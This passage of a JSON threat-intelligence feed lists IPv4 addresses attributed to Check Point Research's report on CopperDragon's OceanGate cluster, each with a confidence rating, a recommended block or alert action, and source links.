"https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.215.216.186", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.215.216.162", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.215.216.123", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "149.104.90.200", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "151.242.188.220", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "180.149.44.43", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "180.149.44.115", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "194.213.18.178", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "2.56.222.28", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "2.56.222.49", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.185.57.152", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "217.69.13.77", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.54.71.107", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.54.71.56", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.54.71.160", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "45.80.208.195", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "45.80.208.232", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "45.80.208.66", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "45.86.230.60", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "45.90.58.202", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "47.81.8.145", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "89.223.91.91", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "89.44.193.140", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "160.16.83.208", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "153.127.55.77", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "134.255.211.224", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "207.189.10.188", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "91.227.77.172", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "165.154.226.247", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "165.154.243.24", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.60.209.227", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.118.179", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "216.238.123.242", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "64.190.113.170", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "154.223.21.194", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "154.205.154.82", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "154.205.154.70", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "37.122.150.133", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.60.195.184", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "103.9.77.116", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "87.236.37.185", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "92.118.127.23", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "130.94.91.53", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "45.39.103.5", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon OceanGate cluster (Asia, mainly India; Linux-to-Windows intrusions); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point 